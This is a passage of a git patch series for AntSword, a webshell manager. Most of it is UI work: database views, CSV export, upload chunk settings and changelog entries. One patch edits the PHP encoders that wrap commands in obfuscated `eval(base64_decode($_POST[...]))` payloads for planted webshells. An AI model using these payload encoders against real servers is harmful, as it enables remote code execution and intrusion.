grid.setInitWidths(("100,".repeat(header_arr.length-1)) + "*"); grid.setEditable(true); grid.init(); // 添加数据 From b4870101a1c0efed66ec16fb254a28300155f72f Mon Sep 17 00:00:00 2001 From: Medicean Date: Sun, 25 Nov 2018 03:31:16 +0800 Subject: [PATCH 11/21] =?UTF-8?q?db:=20=E8=B0=83=E6=95=B4=20asp,=20custom?= =?UTF-8?q?=20=E8=BF=94=E5=9B=9E=E7=BB=93=E6=9E=9C=E6=98=BE=E7=A4=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- source/modules/database/asp/index.js | 4 +++- source/modules/database/custom/index.js | 4 +++- 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/source/modules/database/asp/index.js b/source/modules/database/asp/index.js index 39bde626..906d5c5c 100644 --- a/source/modules/database/asp/index.js +++ b/source/modules/database/asp/index.js @@ -525,8 +525,10 @@ class ASP { const grid = this.manager.result.layout.attachGrid(); grid.clearAll(); grid.setHeader(header_arr.join(',').replace(/,$/, '')); + grid.setColTypes("txt,".repeat(header_arr.length).replace(/,$/,'')); grid.setColSorting(('str,'.repeat(header_arr.length)).replace(/,$/, '')); - grid.setInitWidths('*'); + grid.setColumnMinWidth(100, header_arr.length-1); + grid.setInitWidths(("100,".repeat(header_arr.length-1)) + "*"); grid.setEditable(true); grid.init(); // 添加数据 diff --git a/source/modules/database/custom/index.js b/source/modules/database/custom/index.js index 9fbe04b1..1b81feb9 100644 --- a/source/modules/database/custom/index.js +++ b/source/modules/database/custom/index.js @@ -525,8 +525,10 @@ class CUSTOM { const grid = this.manager.result.layout.attachGrid(); grid.clearAll(); grid.setHeader(header_arr.join(',').replace(/,$/, '')); + grid.setColTypes("txt,".repeat(header_arr.length).replace(/,$/,'')); grid.setColSorting(('str,'.repeat(header_arr.length)).replace(/,$/, '')); - grid.setInitWidths('*'); + grid.setColumnMinWidth(100, header_arr.length-1); + grid.setInitWidths(("100,".repeat(header_arr.length-1)) + "*"); grid.setEditable(true); grid.init(); // 添加数据 From 05c1bdc71cdc51c032991118d2280e0f3dcf54b5 Mon Sep 17 00:00:00 2001 From: Medicean Date: Sun, 25 Nov 2018 13:01:41 +0800 Subject: [PATCH 12/21] =?UTF-8?q?db(php=20mysql):=20=E8=A1=A8=E7=BB=93?= =?UTF-8?q?=E6=9E=84=E5=92=8C=E5=BB=BA=E8=A1=A8sql=E8=AF=AD=E5=8F=A5?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- source/language/en.js | 2 ++ source/language/zh.js | 2 ++ source/modules/database/php/index.js | 47 +++++++++++++++++++++++++++- 3 files changed, 50 insertions(+), 1 deletion(-) diff --git a/source/language/en.js b/source/language/en.js index eac36229..aa670b48 100644 --- a/source/language/en.js +++ b/source/language/en.js @@ -375,6 +375,8 @@ module.exports = { deldb: 'Del Database', addtable: 'New Table', edittable: 'Edit TableName', + desctable: 'Desc Table', + showcreatetable: 'Create Table SQL', deltable: 'Del Table', addcolumn: 'New Column', editcolumn: 'Edit Column', diff --git a/source/language/zh.js b/source/language/zh.js index 6422c7b9..5c836359 100644 --- a/source/language/zh.js +++ b/source/language/zh.js @@ -377,6 +377,8 @@ module.exports = { addtable: '新建表', edittable: '编辑表名', deltable: '删除表', + showcreatetable: '建表语句', + desctable: '查看表结构', addcolumn: '添加列', editcolumn: '编辑列', delcolumn: '删除列', diff --git a/source/modules/database/php/index.js b/source/modules/database/php/index.js index 79dfe445..30c16c75 100644 --- a/source/modules/database/php/index.js +++ b/source/modules/database/php/index.js @@ -144,6 +144,14 @@ class PHP { action: this.addTable.bind(this) }, { divider: true + }, { + text: LANG['list']['menu']['desctable'], + icon: 'fa fa-table', + action: this.descTable.bind(this) + }, { + text: LANG['list']['menu']['showcreatetable'], + icon: 'fa fa-info', + action: this.showcreateTable.bind(this) }, { text: LANG['list']['menu']['edittable'], icon: 'fa fa-edit', @@ -1085,6 +1093,43 @@ class PHP { } }); } + // 显示表结构 + descTable() { + const treeselect = this.tree.getSelected(); + const id = treeselect.split('::')[1].split(":")[0]; + let dbname = new Buffer(treeselect.split('::')[1].split(":")[1],"base64").toString(); + let tablename = new Buffer(treeselect.split('::')[1].split(":")[2],"base64").toString(); + switch(this.dbconf['type']){ + case "mysqli": + case "mysql": + let sql = `DESC \`${dbname}\`.\`${tablename}\`;`; + this.manager.query.editor.session.setValue(sql); + this.execSQL(sql); + break; + default: + toastr.warning(LANG['notsupport'], LANG_T['warning']); + break; + } + } + + showcreateTable() { + const treeselect = this.tree.getSelected(); + const id = treeselect.split('::')[1].split(":")[0]; + let dbname = new Buffer(treeselect.split('::')[1].split(":")[1],"base64").toString(); + let tablename = new Buffer(treeselect.split('::')[1].split(":")[2],"base64").toString(); + switch(this.dbconf['type']){ + case "mysqli": + case "mysql": + let sql = `SHOW CREATE TABLE \`${dbname}\`.\`${tablename}\`;`; + this.manager.query.editor.session.setValue(sql); + this.execSQL(sql); + break; + default: + toastr.warning(LANG['notsupport'], LANG_T['warning']); + break; + } + } + // TODO: 新增列 addColumn() { // 获取配置 @@ -1370,7 +1415,7 @@ class PHP { arr.map((_) => { let _data = _.split('\t|\t'); for (let i = 0; i < _data.length; i ++) { - _data[i] = antSword.noxss(new Buffer(_data[i], "base64").toString()); + _data[i] = antSword.noxss(new Buffer(_data[i], "base64").toString(), false); } data_arr.push(_data); }); From 779e20b72f9b20863ac15bed063e482d45482b30 Mon Sep 17 00:00:00 2001 From: Medicean Date: Sun, 25 Nov 2018 13:49:58 +0800 Subject: [PATCH 13/21] =?UTF-8?q?db(php=20mysql):=20=E7=BC=96=E8=BE=91?= =?UTF-8?q?=E5=88=97=E5=90=8D?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- source/language/en.js | 8 +++-- source/language/zh.js | 8 +++-- source/modules/database/php/index.js | 45 +++++++++++++++++++++++++++- 3 files changed, 56 insertions(+), 5 deletions(-) diff --git a/source/language/en.js b/source/language/en.js index aa670b48..d63908ff 100644 --- a/source/language/en.js +++ b/source/language/en.js @@ -379,7 +379,7 @@ module.exports = { showcreatetable: 'Create Table SQL', deltable: 'Del Table', addcolumn: 'New Column', - editcolumn: 'Edit Column', + editcolumn: 'Edit ColumnName', delcolumn: 'Del Column', } }, @@ -478,7 +478,11 @@ module.exports = { }, editcolumn: { - + title: "New column name", + invalid_tablename: "Column names should not contain special symbols", + get_column_type_error: "Get column type error", + success: 'Update column name successfully', + error: 'Failed to update column', }, delcolumn: { title:'Delete Column', diff --git a/source/language/zh.js b/source/language/zh.js index 5c836359..146aa31e 100644 --- a/source/language/zh.js +++ b/source/language/zh.js @@ -380,7 +380,7 @@ module.exports = { showcreatetable: '建表语句', desctable: '查看表结构', addcolumn: '添加列', - editcolumn: '编辑列', + editcolumn: '编辑列名', delcolumn: '删除列', } }, @@ -479,7 +479,11 @@ module.exports = { }, editcolumn: { - + title: "输入新列名", + invalid_tablename: "列名不能带有特殊符号", + get_column_type_error: "获取列属性失败", + success: '修改列名成功', + error: '修改列名失败' }, delcolumn: { title:'删除列', diff --git a/source/modules/database/php/index.js b/source/modules/database/php/index.js index 30c16c75..a8144e3a 100644 --- a/source/modules/database/php/index.js +++ b/source/modules/database/php/index.js @@ -1149,7 +1149,50 @@ class PHP { let dbname = new Buffer(treeselect.split('::')[1].split(":")[1],"base64").toString(); let tablename = new Buffer(treeselect.split('::')[1].split(":")[2],"base64").toString(); let columnname = new Buffer(treeselect.split('::')[1].split(":")[3],"base64").toString(); - + let columntyperaw = this.tree.getSelectedItemText(); + let columntype = null; + var ctypereg = new RegExp(columnname+'\\s\\((.+?\\))\\)'); + var res = columntyperaw.match(ctypereg); + if (res.length == 2) { + columntype = res[1]; + } + if (columntype == null) { + toastr.error(LANG['form']['editcolumn']['get_column_type_error'], LANG_T['error']); + return + } + layer.prompt({ + value: columnname, + title: ` ${LANG['form']['editcolumn']['title']}` + },(value, i, e) => { + if(!value.match(/^[a-zA-Z0-9_]+$/)){ + toastr.error(LANG['form']['editcolumn']['invalid_tablename'], LANG_T['error']); + return + } + layer.close(i); + switch(this.dbconf['type']){ + case "mysqli": + case "mysql": + let sql = `ALTER TABLE \`${dbname}\`.\`${tablename}\` CHANGE COLUMN \`${columnname}\` \`${value}\` ${columntype};`; + this.manager.query.editor.session.setValue(sql); + this.execSQLAsync(sql, (res, err) => { + if(err){ + toastr.error(LANG['result']['error']['query'](err['status'] || JSON.stringify(err)), LANG_T['error']); + return; + } + let result = this.parseResult(res['text']); + if(result.datas[0][0]=='True'){ + toastr.success(LANG['form']['editcolumn']['success'],LANG_T['success']); + this.getColumns(id,dbname,tablename); + }else{ + toastr.error(LANG['form']['editcolumn']['error'],LANG_T['error']); + } + }); + break; + default: + toastr.warning(LANG['notsupport'], LANG_T['warning']); + break; + } + }); } delColumn() { From da49b9442208aa00769af221b227ffcac8af84fd Mon Sep 17 00:00:00 2001 From: Medicean Date: Mon, 26 Nov 2018 01:39:32 +0800 Subject: [PATCH 14/21] =?UTF-8?q?db:=20=E5=AF=BC=E5=87=BA=E6=9F=A5?= =?UTF-8?q?=E8=AF=A2=E6=95=B0=E6=8D=AE?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- source/language/en.js | 4 ++++ source/language/zh.js | 4 ++++ source/modules/database/asp/index.js | 21 ++++++++++++++++++++- source/modules/database/custom/index.js | 21 ++++++++++++++++++++- source/modules/database/index.js | 19 +++++++++++++------ source/modules/database/php/index.js | 24 ++++++++++++++++++++++-- 6 files changed, 83 insertions(+), 10 deletions(-) diff --git a/source/language/en.js b/source/language/en.js index d63908ff..5497a21c 100644 --- a/source/language/en.js +++ b/source/language/en.js @@ -398,6 +398,10 @@ module.exports = { query: (err) => antSword.noxss(`Failure to execute SQL!\n${err}`), parse: 'Return data format is incorrect!', noresult: 'No query results!' + }, + dump: { + title: "Export Data", + success: "Export success", } }, notsupport: 'Not support the current database type', diff --git a/source/language/zh.js b/source/language/zh.js index 146aa31e..9681e0b7 100644 --- a/source/language/zh.js +++ b/source/language/zh.js @@ -399,6 +399,10 @@ module.exports = { query: (err) => antSword.noxss(`执行SQL失败!\n${err}`), parse: '返回数据格式不正确!', noresult: '没有查询结果!' + }, + dump: { + title: "导出查询结果", + success: "导出成功", } }, notsupport: '该功能暂不支持当前类型数据库', diff --git a/source/modules/database/asp/index.js b/source/modules/database/asp/index.js index 906d5c5c..bfcf0a16 100644 --- a/source/modules/database/asp/index.js +++ b/source/modules/database/asp/index.js @@ -543,13 +543,32 @@ class ASP { 'rows': grid_data }, 'json'); // 启用导出按钮 - // this.manager.result.toolbar[grid_data.length > 0 ? 'enableItem' : 'disableItem']('dump'); + this.manager.result.toolbar[grid_data.length > 0 ? 'enableItem' : 'disableItem']('dump'); + } + + // 导出查询数据 + dumpResult() { + const grid = this.manager.result.layout.getAttachedObject(); + let filename = `${this.core.__opts__.ip}_${new Date().format("yyyyMMddhhmmss")}.csv`; + antSword['test'] = this; + dialog.showSaveDialog({ + title: LANG['result']['dump']['title'], + defaultPath: filename + },(filePath) => { + if (!filePath) { return; }; + let headerStr = grid.hdrLabels.join(','); + let dataStr = grid.serializeToCSV(); + let tempDataBuffer = new Buffer(headerStr+'\n'+dataStr); + fs.writeFileSync(filePath, tempDataBuffer); + toastr.success(LANG['result']['dump']['success'], LANG_T['success']); + }); } // 禁用toolbar按钮 disableToolbar() { this.manager.list.toolbar.disableItem('del'); this.manager.list.toolbar.disableItem('edit'); + this.manager.result.toolbar.disableItem('dump'); } // 启用toolbar按钮 diff --git a/source/modules/database/custom/index.js b/source/modules/database/custom/index.js index 1b81feb9..3dd43e1d 100644 --- a/source/modules/database/custom/index.js +++ b/source/modules/database/custom/index.js @@ -543,13 +543,32 @@ class CUSTOM { 'rows': grid_data }, 'json'); // 启用导出按钮 - // this.manager.result.toolbar[grid_data.length > 0 ? 'enableItem' : 'disableItem']('dump'); + this.manager.result.toolbar[grid_data.length > 0 ? 'enableItem' : 'disableItem']('dump'); + } + + // 导出查询数据 + dumpResult() { + const grid = this.manager.result.layout.getAttachedObject(); + let filename = `${this.core.__opts__.ip}_${new Date().format("yyyyMMddhhmmss")}.csv`; + antSword['test'] = this; + dialog.showSaveDialog({ + title: LANG['result']['dump']['title'], + defaultPath: filename + },(filePath) => { + if (!filePath) { return; }; + let headerStr = grid.hdrLabels.join(','); + let dataStr = grid.serializeToCSV(); + let tempDataBuffer = new Buffer(headerStr+'\n'+dataStr); + fs.writeFileSync(filePath, tempDataBuffer); + toastr.success(LANG['result']['dump']['success'], LANG_T['success']); + }); } // 禁用toolbar按钮 disableToolbar() { this.manager.list.toolbar.disableItem('del'); this.manager.list.toolbar.disableItem('edit'); + this.manager.result.toolbar.disableItem('dump'); } // 启用toolbar按钮 diff --git a/source/modules/database/index.js b/source/modules/database/index.js index da137a5f..ba38b7d4 100644 --- a/source/modules/database/index.js +++ b/source/modules/database/index.js @@ -158,14 +158,21 @@ class Database { layout.setText(` ${LANG['result']['title']}`); // layout.hideHeader(); - // const toolbar = layout.attachToolbar(); - // toolbar.loadStruct([ - // { id: 'dump', text: '导出', icon: 'upload', type: 'button', disabled: true }, - // { type: 'separator' } - // ]); + const toolbar = layout.attachToolbar(); + toolbar.loadStruct([ + { id: 'dump', text: '导出', icon: 'upload', type: 'button', disabled: true }, + { type: 'separator' } + ]); + toolbar.attachEvent('onClick', (id) => { + switch(id) { + case 'dump': + this.drive.dumpResult(); + break; + } + }); return { layout: layout, - // toolbar: toolbar + toolbar: toolbar }; } diff --git a/source/modules/database/php/index.js b/source/modules/database/php/index.js index a8144e3a..80206db1 100644 --- a/source/modules/database/php/index.js +++ b/source/modules/database/php/index.js @@ -5,6 +5,8 @@ const LANG = antSword['language']['database']; const LANG_T = antSword['language']['toastr']; +const dialog = antSword.remote.dialog; +const fs = require('fs'); class PHP { @@ -1485,13 +1487,31 @@ class PHP { 'rows': grid_data }, 'json'); // 启用导出按钮 - // this.manager.result.toolbar[grid_data.length > 0 ? 'enableItem' : 'disableItem']('dump'); + this.manager.result.toolbar[grid_data.length > 0 ? 'enableItem' : 'disableItem']('dump'); + } + + // 导出查询数据 + dumpResult() { + const grid = this.manager.result.layout.getAttachedObject(); + let filename = `${this.core.__opts__.ip}_${new Date().format("yyyyMMddhhmmss")}.csv`; + antSword['test'] = this; + dialog.showSaveDialog({ + title: LANG['result']['dump']['title'], + defaultPath: filename + },(filePath) => { + if (!filePath) { return; }; + let headerStr = grid.hdrLabels.join(','); + let dataStr = grid.serializeToCSV(); + let tempDataBuffer = new Buffer(headerStr+'\n'+dataStr); + fs.writeFileSync(filePath, tempDataBuffer); + toastr.success(LANG['result']['dump']['success'], LANG_T['success']); + }); } - // 禁用toolbar按钮 disableToolbar() { this.manager.list.toolbar.disableItem('del'); this.manager.list.toolbar.disableItem('edit'); + this.manager.result.toolbar.disableItem('dump'); } // 启用toolbar按钮 From 47a95e1dcc8f34761a21e7f606049ff2047ef444 Mon Sep 17 00:00:00 2001 From: Medicean Date: Mon, 3 Dec 2018 20:21:55 +0800 Subject: [PATCH 15/21] fix edit shell timeout default select error --- source/modules/shellmanager/list/form.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/source/modules/shellmanager/list/form.js b/source/modules/shellmanager/list/form.js index c5d8baa9..c51e354e 100644 --- a/source/modules/shellmanager/list/form.js +++ b/source/modules/shellmanager/list/form.js @@ -308,7 +308,7 @@ class Form { ret.push({ text: _, value: _, - selected: opt['command-path'] === _ + selected: opt['request-timeout'] === _ }) }); return ret; From a68c74d17a6fd009f21b5e04071dc3daa942b815 Mon Sep 17 00:00:00 2001 From: Medicean Date: Mon, 3 Dec 2018 21:15:48 +0800 Subject: [PATCH 16/21] =?UTF-8?q?php=20shell=20=E9=BB=98=E8=AE=A4=E7=BC=96?= =?UTF-8?q?=E7=A0=81=E5=99=A8=E6=89=80=E4=BD=BF=E7=94=A8=E7=9A=84=E5=87=BD?= =?UTF-8?q?=E6=95=B0=E6=B7=BB=E5=8A=A0=E4=BA=86=20@=20=E9=98=B2=E6=AD=A2?= =?UTF-8?q?=E5=87=BA=E7=8E=B0=20warning?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- source/core/php/encoder/base64.js | 2 +- source/core/php/encoder/chr.js | 2 +- source/core/php/encoder/chr16.js | 2 +- source/core/php/encoder/rot13.js | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) diff --git a/source/core/php/encoder/base64.js b/source/core/php/encoder/base64.js index 008ce8df..c0c06c62 100644 --- a/source/core/php/encoder/base64.js +++ b/source/core/php/encoder/base64.js @@ -9,7 +9,7 @@ module.exports = (pwd, data) => { // 生成一个随机变量名 let randomID = `_0x${Math.random().toString(16).substr(2)}`; data[randomID] = new Buffer(data['_']).toString('base64'); - data[pwd] = `eval(base64_decode($_POST[${randomID}]));`; + data[pwd] = `@eval(@base64_decode($_POST[${randomID}]));`; delete data['_']; return data; } diff --git a/source/core/php/encoder/chr.js b/source/core/php/encoder/chr.js index f996c1fd..b3dfa674 100644 --- a/source/core/php/encoder/chr.js +++ b/source/core/php/encoder/chr.js @@ -14,7 +14,7 @@ module.exports = (pwd, data) => { ret.push(php[i].charCodeAt()); i ++; } - return `eVAl(cHr(${ret.join(').ChR(')}));`; + return `@eVAl(cHr(${ret.join(').ChR(')}));`; } // 编码并去除多余数据 diff --git a/source/core/php/encoder/chr16.js b/source/core/php/encoder/chr16.js index c9f92379..2833fa36 100644 --- a/source/core/php/encoder/chr16.js +++ b/source/core/php/encoder/chr16.js @@ -14,7 +14,7 @@ module.exports = (pwd, data) => { ret.push(php[i].charCodeAt().toString(16)); i ++; } - return `eVAl(cHr(0x${ret.join(').ChR(0x')}));`; + return `@eVAl(cHr(0x${ret.join(').ChR(0x')}));`; } // 编码并去除多余数据 diff --git a/source/core/php/encoder/rot13.js b/source/core/php/encoder/rot13.js index 6eaccc6a..580c4fbf 100644 --- a/source/core/php/encoder/rot13.js +++ b/source/core/php/encoder/rot13.js @@ -19,7 +19,7 @@ module.exports = (pwd, data) => { // 生成一个随机变量名 let randomID = `_0x${Math.random().toString(16).substr(2)}`; data[randomID] = encode(data['_']); - data[pwd] = `eval(str_rot13($_POST[${randomID}]));`; + data[pwd] = `@eval(@str_rot13($_POST[${randomID}]));`; delete data['_']; return data; } From 3bb5159796bbffc5f4eda9b9f95317d89042459a Mon Sep 17 00:00:00 2001 From: Medicean Date: Mon, 3 Dec 2018 21:16:54 +0800 Subject: [PATCH 17/21] =?UTF-8?q?=E4=B8=8A=E4=BC=A0=E6=96=87=E4=BB=B6?= =?UTF-8?q?=E5=88=86=E7=89=87=E5=A4=A7=E5=B0=8F=E5=8F=AF=E8=87=AA=E5=AE=9A?= =?UTF-8?q?=E4=B9=89=E8=AE=BE=E7=BD=AE,=E9=BB=98=E8=AE=A4=E4=B8=BA500kb?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- modules/request.js | 6 ++++- source/language/en.js | 4 +++ source/language/zh.js | 4 +++ source/modules/filemanager/index.js | 34 ++++++++++++++++++++---- source/modules/shellmanager/list/form.js | 24 ++++++++++++++++- 5 files changed, 65 insertions(+), 7 deletions(-) diff --git a/modules/request.js b/modules/request.js index 82b0da62..0599717a 100644 --- a/modules/request.js +++ b/modules/request.js @@ -122,7 +122,11 @@ class Request { }, res, callback); }) .end((err, ret) => { - let buff = ret.body; + if (!ret) { + // 请求失败 TIMEOUT + return event.sender.send('request-error-' + opts['hash'], err); + } + let buff = ret.hasOwnProperty('body') ? ret.body : new Buffer(); // 解码 let text = iconv.decode(buff, opts['encode']); if (err && text == "") { diff --git a/source/language/en.js b/source/language/en.js index 5497a21c..88cf033e 100644 --- a/source/language/en.js +++ b/source/language/en.js @@ -170,6 +170,7 @@ module.exports = { nohttps: 'Ignore HTTPS certificate', terminalCache: "Use the terminal's cache", filemanagerCache: "Use the filemanager's cache", + uploadFragment: "Upload File Fragmentation Size", requestTimeout: 'Request timeout', commandPath: 'Custom terminal-execPath' } @@ -240,6 +241,9 @@ module.exports = { task: { name: 'Upload', success: 'Upload success!', + httperr_413: 'Please lower the upload file shard size setting.', + httperr_etime: 'Request timeout, please increase the timeout period.', + httperr_econnrefused: 'Connection refused, check target or proxy is enabled.', failed: (err) => antSword.noxss(`Failed:${err}`), error: (err) => antSword.noxss(`Error:${err}`) }, diff --git a/source/language/zh.js b/source/language/zh.js index 9681e0b7..35d6365c 100644 --- a/source/language/zh.js +++ b/source/language/zh.js @@ -171,6 +171,7 @@ module.exports = { nohttps: '忽略HTTPS证书', terminalCache: '虚拟终端使用缓存', filemanagerCache: '文件管理使用缓存', + uploadFragment: '上传文件分片大小', requestTimeout: '请求超时', commandPath: '自定义终端执行路径' } @@ -241,6 +242,9 @@ module.exports = { task: { name: '上传', success: '上传成功', + httperr_413: '请将上传文件分片大小设置调低', + httperr_etime: '请求超时,请将超时时间调大', + httperr_econnrefused: '连接被拒绝,检查目标或代理是否开启', failed: (err) => antSword.noxss(`失败:${err}`), error: (err) => antSword.noxss(`出错:${err}`) }, diff --git a/source/modules/filemanager/index.js b/source/modules/filemanager/index.js index e8330153..3496d4ba 100644 --- a/source/modules/filemanager/index.js +++ b/source/modules/filemanager/index.js @@ -696,9 +696,9 @@ class FileManager { let buffIndex = 0; let buff = []; // 分段上传大小,默认0.5M(jsp 超过1M响应会出错) - let dataSplit = 512 * 1024; - if (this.opts['type'].toLowerCase() === 'php') { - dataSplit = 1024 * 1024 + let dataSplit = 500 * 1024; + if ( parseInt((this.opts.otherConf || {})['upload-fragment']) > 0 ) { + dataSplit = parseInt((this.opts.otherConf || {})['upload-fragment']) * 1024; } let task = tasks[filePath]; // 获取文件名 @@ -751,8 +751,32 @@ class FileManager { ret === '0' ? '' : `
${ret}` ), LANG_T['error']); }).catch((err) => { - task.failed(LANG['upload']['task']['error'](err)); - toastr.error(LANG['upload']['error'](fileName, err), LANG_T['error']); + // 出错后友好提示 + let errmsg = err; + if (err.hasOwnProperty('status') && err.hasOwnProperty('response')) { + errmsg = `${err.status} ${err.response.res.statusMessage}`; + switch(err.status) { + case 413: + errmsg += `${LANG['upload']['task']['httperr_413']}`; + break; + default: + break; + } + }else if(err.hasOwnProperty('errno')) { + switch(err.errno) { + case 'ETIME': + errmsg = `${LANG['upload']['task']['httperr_etime']}`; + break; + case 'ECONNREFUSED': + errmsg = `${LANG['upload']['task']['httperr_econnrefused']}`; + break; + default: + errmsg = `${err.errno} ${err.code}`; + break; + } + } + task.failed(LANG['upload']['task']['error'](errmsg)); + toastr.error(LANG['upload']['error'](fileName, errmsg), LANG_T['error']); }); }) } diff --git a/source/modules/shellmanager/list/form.js b/source/modules/shellmanager/list/form.js index c51e354e..56198e13 100644 --- a/source/modules/shellmanager/list/form.js +++ b/source/modules/shellmanager/list/form.js @@ -278,6 +278,7 @@ class Form { 'ignore-https': 0, 'terminal-cache': 0, 'filemanager-cache': 1, + 'upload-fragment': '500', 'request-timeout': '10000', 'command-path': '' }, arg.otherConf); @@ -294,7 +295,28 @@ class Form { }, { type: "checkbox", name: 'filemanager-cache', label: LANG['list']['otherConf']['filemanagerCache'], checked: opt['filemanager-cache'] === 1 - },{ + }, { + type: "label", label: LANG['list']['otherConf']['uploadFragment'] + }, { + type: "combo", label: '/kb', inputWidth: 100, name: "upload-fragment", + options: ((items) => { + let ret = []; + // 如果自定义的路径不在items里,则++ + if (items.indexOf(opt['upload-fragment']) === -1) { + items.unshift(opt['upload-fragment']); + } + items.map((_) => { + ret.push({ + text: _, + value: _, + selected: opt['upload-fragment'] === _ + }) + }); + return ret; + })([ + '500', '400', '200', '100', '50', '10' + ]) + }, { type: "label", label: LANG['list']['otherConf']['requestTimeout'] }, { type: "combo", label: '/ms', inputWidth: 100, name: "request-timeout", From 176014e487759c4ee2cd3b31cd81d6e9a840ad22 Mon Sep 17 00:00:00 2001 From: Medicean Date: Mon, 3 Dec 2018 21:27:26 +0800 Subject: [PATCH 18/21] sync changelog --- CHANGELOG.md | 37 +++++++++++++++++++++++++++++++++++++ 1 file changed, 37 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index e52c3d19..d8313abb 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,6 +2,43 @@ > 有空会补补BUG、添添新功能。 > 同时也欢迎大家的参与!感谢各位朋友的支持! .TAT. +## `(v2.0.x)` + +### 模块增强 + +#### Shell 管理 + + * 可在 Shell 编辑数据窗口下的`其它设置`栏目下自定义上传文件分片大小 (默认为 500KB, 太大会导致 HTTP 413 错误) + +#### 文件管理 + + * PHP Shell 下可直接修改文件权限, 显示为4位 8进制数, 如 `0644` + +#### 数据管理 + + * 优化了查询结果显示,默认所有列宽为 100 + * 可将查询结果导出为 CSV 文件 + * PHP Shell MySQL 数据库可视化增强,支持`新建数据库`,`删除数据库`,`新建表`,`修改表名`,`删除表`,`编辑列名`,`删除列` + +#### 虚拟终端 + + * 虚拟终端界面下使用 `Ctrl` + `=`(和`+`在一起的那个键) 可放大, `Ctrl` + `-` 可缩小 + +### Bug Fix + + * 修正 windows 客户端下用户编码器路径解析错误的问题 + +### Other + + * 数据分割符随机化,再也不是之前固定的 `->|` 和 `|<-` 了 + * 支持返回状态为 404, 500, 403 等非 200 的 Shell (#103 thx @Curz0n),一个简单的例子如下: + + ``` + + ``` + + * JSP Shell 基础信息调整, 现在默认的目录为 shell 编译后的 class 文件所在目录 + ## 2018/09/12 `(v2.0.1)` ### 插件 From 3964313adc2b3225ded469544c0490ba841c5b35 Mon Sep 17 00:00:00 2001 From: Medicean Date: Tue, 4 Dec 2018 10:47:30 +0800 Subject: [PATCH 19/21] =?UTF-8?q?=E6=B5=8F=E8=A7=88=E7=BD=91=E7=AB=99?= =?UTF-8?q?=E8=87=AA=E5=AE=9A=E4=B9=89URL?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- CHANGELOG.md | 6 ++++++ source/modules/viewsite/index.js | 22 ++++++++++++++++------ 2 files changed, 22 insertions(+), 6 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index d8313abb..f882bf76 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -24,6 +24,12 @@ * 虚拟终端界面下使用 `Ctrl` + `=`(和`+`在一起的那个键) 可放大, `Ctrl` + `-` 可缩小 +#### 浏览网站 + + * 新增了地址栏, 面对需要先进入登录页面的 Shell, 可先在此处访问 login 页面,然后保存 Cookie 到 Shell 配置。 默认为 Shell 的 URL + * 调整了工具栏按钮的排列 + * 关闭了默认自动打开 URL,需要手动点击「浏览」按钮 + ### Bug Fix * 修正 windows 客户端下用户编码器路径解析错误的问题 diff --git a/source/modules/viewsite/index.js b/source/modules/viewsite/index.js index a111556d..9efe00c0 100644 --- a/source/modules/viewsite/index.js +++ b/source/modules/viewsite/index.js @@ -41,7 +41,7 @@ class ViewSite { }, 1000); // 打开浏览窗口 - this._loadURL(opts.url); + // this._loadURL(opts.url); } /** @@ -51,9 +51,10 @@ class ViewSite { _initToolbar() { const toolbar = this.cell.attachToolbar(); toolbar.loadStruct([ - { id: 'save', type: 'button', icon: 'save', text: LANG['toolbar'].save }, - { type: 'separator' }, + { id: 'url', width: 400, type: 'buttonInput', value: this.opts.url || 'loading..' }, { id: 'view', type: 'button', icon: 'chrome', text: LANG['toolbar'].view }, + { type: 'separator' }, + { id: 'save', type: 'button', icon: 'save', text: LANG['toolbar'].save }, ]); toolbar.attachEvent('onClick', (id) => { switch(id) { @@ -61,9 +62,18 @@ class ViewSite { this._saveCookie(); break; case 'view': - this._loadURL(this.opts.url); + let url = toolbar.getInput('url').value; + this._loadURL(url); } - }) + }); + toolbar.attachEvent('onEnter', (id, value) => { + switch(id) { + case 'url': + let url = toolbar.getInput('url').value; + this._loadURL(url); + break; + } + }); return toolbar; } @@ -159,7 +169,7 @@ class ViewSite { webPreferences: { nodeIntegration: false, }, - title: this.opts.url + title: url }); win.loadURL(url); win.show(); From 5a78de4df135a8bcc2caeb8044d439c0449afd11 Mon Sep 17 00:00:00 2001 From: Medicean Date: Wed, 5 Dec 2018 12:47:52 +0800 Subject: [PATCH 20/21] =?UTF-8?q?=E6=96=B0=E5=A2=9EDiscord=E5=9C=A8?= =?UTF-8?q?=E7=BA=BF=E4=BA=A4=E6=B5=81=E5=9C=B0=E5=9D=80?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- CHANGELOG.md | 1 + source/language/en.js | 3 ++- source/language/zh.js | 3 ++- source/modules/settings/about.js | 3 ++- 4 files changed, 7 insertions(+), 3 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index f882bf76..3b2951f5 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -44,6 +44,7 @@ ``` * JSP Shell 基础信息调整, 现在默认的目录为 shell 编译后的 class 文件所在目录 + * 关于页面新增 [Discord 在线交流地址](https://discord.gg/Uzh5nUf) ## 2018/09/12 `(v2.0.1)` diff --git a/source/language/en.js b/source/language/en.js index 88cf033e..296c034a 100644 --- a/source/language/en.js +++ b/source/language/en.js @@ -506,7 +506,8 @@ module.exports = { header: 'AntSword', homepage: 'Home', document: 'Document', - qqgroup: 'QQ Group' + qqgroup: 'QQ Group', + discord: 'Discord' }, language: { title: 'Language setting', diff --git a/source/language/zh.js b/source/language/zh.js index 35d6365c..75ab5ec5 100644 --- a/source/language/zh.js +++ b/source/language/zh.js @@ 